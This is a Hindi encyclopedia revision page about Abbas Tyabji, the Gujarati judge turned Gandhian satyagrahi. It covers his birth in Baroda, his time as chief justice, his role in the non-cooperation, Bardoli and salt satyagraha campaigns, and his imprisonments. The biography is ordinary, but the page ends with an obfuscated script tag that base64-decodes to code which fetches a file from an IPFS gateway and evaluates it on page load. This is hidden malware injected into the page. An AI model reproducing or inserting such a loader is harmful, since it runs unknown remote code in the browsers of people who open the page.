"अब्बास तैयबजी": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
(''''अब्बास तैयबजी''' (अंग्रेज़ी: ''Abbas Tyabji'', जन्म- 1 फ़रवरी...' के साथ नया पृष्ठ बनाया)
 
छो (Adding category Category:भारतीय चरित कोश (को हटा दिया गया हैं।))
 
(एक दूसरे सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
{{सूचना बक्सा स्वतन्त्रता सेनानी
|चित्र=Abbas-Tyabji.jpeg
|चित्र का नाम=अब्बास तैयबजी
|पूरा नाम=अब्बास तैयबजी
|अन्य नाम=ग्रांड ओल्ड मैन ऑफ़ गुजरात
|जन्म=[[1 फ़रवरी]], 1854
|जन्म भूमि=[[वड़ोदरा]], [[गुजरात]]
|मृत्यु=[[9 जून]], [[1936]]
|मृत्यु स्थान=[[मसूरी]]
|मृत्यु कारण=
|अभिभावक=
|पति/पत्नी=
|संतान=
|स्मारक=
|क़ब्र=
|नागरिकता=भारतीय
|प्रसिद्धि=क्रांतिकारी
|धर्म=
|आंदोलन=
|जेल यात्रा=
|कार्य काल=
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=
|विशेष योगदान=
|संबंधित लेख=[[महात्मा गाँधी]], [[असहयोग आंदोलन]], [[बारदोली सत्याग्रह]]
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=
|बाहरी कड़ियाँ=अब्बास तैयबजी ने [[कांग्रेस]] की जलियांवाला बाग हत्याकांड जांच समिति में काम किया था और अपनी विदेशी वस्त्रों की होली जलाकर कुर्ता, पायजामा और गांधी टोपी धारण कर ली थी।
|अद्यतन=
}}
'''अब्बास तैयबजी''' ([[अंग्रेज़ी]]: ''Abbas Tyabji'', जन्म- [[1 फ़रवरी]], 1854, [[बड़ौदा]]; मृत्यु- [[9 जून]], [[1936]], [[मसूरी]]) [[भारत]] की आज़ादी के लिए संघर्ष करने वाले क्रांतिकारी थे, जो [[गुजरात]] से थे। वे 34 वर्षों तक अंग्रेज़ों के अधीन देशी रियासतों की न्यायिक सेवा में विदेशी ठाट-बाट के साथ रहे, परंतु अंत में [[गांधीजी]] के प्रभाव से वह सत्याग्रही बन गए और उन्होंने जेल की सजाएं भोगीं।
'''अब्बास तैयबजी''' ([[अंग्रेज़ी]]: ''Abbas Tyabji'', जन्म- [[1 फ़रवरी]], 1854, [[बड़ौदा]]; मृत्यु- [[9 जून]], [[1936]], [[मसूरी]]) [[भारत]] की आज़ादी के लिए संघर्ष करने वाले क्रांतिकारी थे, जो [[गुजरात]] से थे। वे 34 वर्षों तक अंग्रेज़ों के अधीन देशी रियासतों की न्यायिक सेवा में विदेशी ठाट-बाट के साथ रहे, परंतु अंत में [[गांधीजी]] के प्रभाव से वह सत्याग्रही बन गए और उन्होंने जेल की सजाएं भोगीं।
==परिचय==
==परिचय==
अब्बास तैयब जी का जन्म 1 फ़रवरी, 1854 को [[वड़ोदरा]], गुजरात में एक संपन्न [[परिवार]] में हुआ था। उस परिवार ने [[1859]] में यह सोचकर घर में हिंदुस्तानी भाषा का प्रयोग आरंभ कर दिया था कि आगे चलकर यही भारत की मुख्य [[भाषा]] होगी।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=37|url=}}</ref>
अब्बास तैयब जी का जन्म 1 फ़रवरी, 1854 को [[वड़ोदरा]], [[गुजरात]] में एक संपन्न [[परिवार]] में हुआ था। उस परिवार ने [[1859]] में यह सोचकर घर में हिंदुस्तानी भाषा का प्रयोग आरंभ कर दिया था कि आगे चलकर यही भारत की मुख्य [[भाषा]] होगी।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=37|url=}}</ref>
==मुख्य न्यायाधीश==
==मुख्य न्यायाधीश==
11 वर्ष की उम्र में ही अब्बास तैयबजी को [[इंग्लैंड]] भेज दिया गया। वहां से वह विदेशी आचार-विचार सीखकर तथा बैरिस्टर बनकर [[भारत]] लौटे और वड़ोदरा रियासत की नौकरी आरंभ की। सन [[1913]] में वह वहां के मुख्य न्यायाधीश बने।
11 वर्ष की उम्र में ही अब्बास तैयबजी को [[इंग्लैंड]] भेज दिया गया। वहां से वह विदेशी आचार-विचार सीखकर तथा बैरिस्टर बनकर [[भारत]] लौटे और वड़ोदरा रियासत की नौकरी आरंभ की। सन [[1913]] में वह वहां के मुख्य न्यायाधीश बने।
पंक्ति 17: पंक्ति 51:
{{स्वतंत्रता सेनानी}}
{{स्वतंत्रता सेनानी}}
[[Category:स्वतन्त्रता सेनानी]][[Category:औपनिवेशिक काल]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]]
[[Category:स्वतन्त्रता सेनानी]][[Category:औपनिवेशिक काल]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:इतिहास कोश]]
[[Category:भारतीय चरित कोश]]
__INDEX__
__INDEX__

12:31, 6 जनवरी 2020 के समय का अवतरण

अब्बास तैयबजी
अब्बास तैयबजी
अब्बास तैयबजी
पूरा नाम अब्बास तैयबजी
अन्य नाम ग्रांड ओल्ड मैन ऑफ़ गुजरात
जन्म 1 फ़रवरी, 1854
जन्म भूमि वड़ोदरा, गुजरात
मृत्यु 9 जून, 1936
मृत्यु स्थान मसूरी
नागरिकता भारतीय
प्रसिद्धि क्रांतिकारी
संबंधित लेख महात्मा गाँधी, असहयोग आंदोलन, बारदोली सत्याग्रह
बाहरी कड़ियाँ अब्बास तैयबजी ने कांग्रेस की जलियांवाला बाग हत्याकांड जांच समिति में काम किया था और अपनी विदेशी वस्त्रों की होली जलाकर कुर्ता, पायजामा और गांधी टोपी धारण कर ली थी।

अब्बास तैयबजी (अंग्रेज़ी: Abbas Tyabji, जन्म- 1 फ़रवरी, 1854, बड़ौदा; मृत्यु- 9 जून, 1936, मसूरी) भारत की आज़ादी के लिए संघर्ष करने वाले क्रांतिकारी थे, जो गुजरात से थे। वे 34 वर्षों तक अंग्रेज़ों के अधीन देशी रियासतों की न्यायिक सेवा में विदेशी ठाट-बाट के साथ रहे, परंतु अंत में गांधीजी के प्रभाव से वह सत्याग्रही बन गए और उन्होंने जेल की सजाएं भोगीं।

परिचय

अब्बास तैयब जी का जन्म 1 फ़रवरी, 1854 को वड़ोदरा, गुजरात में एक संपन्न परिवार में हुआ था। उस परिवार ने 1859 में यह सोचकर घर में हिंदुस्तानी भाषा का प्रयोग आरंभ कर दिया था कि आगे चलकर यही भारत की मुख्य भाषा होगी।[1]

मुख्य न्यायाधीश

11 वर्ष की उम्र में ही अब्बास तैयबजी को इंग्लैंड भेज दिया गया। वहां से वह विदेशी आचार-विचार सीखकर तथा बैरिस्टर बनकर भारत लौटे और वड़ोदरा रियासत की नौकरी आरंभ की। सन 1913 में वह वहां के मुख्य न्यायाधीश बने।

गाँधीजी के समर्थक

कांग्रेस से अब्बास तैयबजी का संबंध 1885 ई. से ही था, पर वह ब्रिटिश सत्ता के भक्त थे। गांधीजी के संपर्क में आने पर उनका मोहभंग हो गया और 64 वर्ष की उम्र में वे असहयोग आंदोलन के समर्थक बन गए। उन्होंने कांग्रेस की जलियांवाला बाग हत्याकांड जांच समिति में काम किया और अपनी विदेशी वस्त्रों की होली जलाकर कुर्ता, पायजामा और गांधी टोपी धारण की।

अब्बास तैयबजी गुजरात प्रजामंडल के पदाधिकारी बने, बारदोली सत्याग्रह में भाग लिया और नमक सत्याग्रह में दांडी मार्च के समय गिरफ्तारी दी। 1935 में फिर उन्हें जेल में डाला गया। उल्लेखनीय है कि गांधीजी के सच्चे अनुयायी के रूप में अपनी वृद्धावस्था में अब्बास तैयबजी ने जेल की यातनाओं को सहन किया।

मृत्यु

9 जून, 1936 को अब्बास तैयबजी का निधन हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 37 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>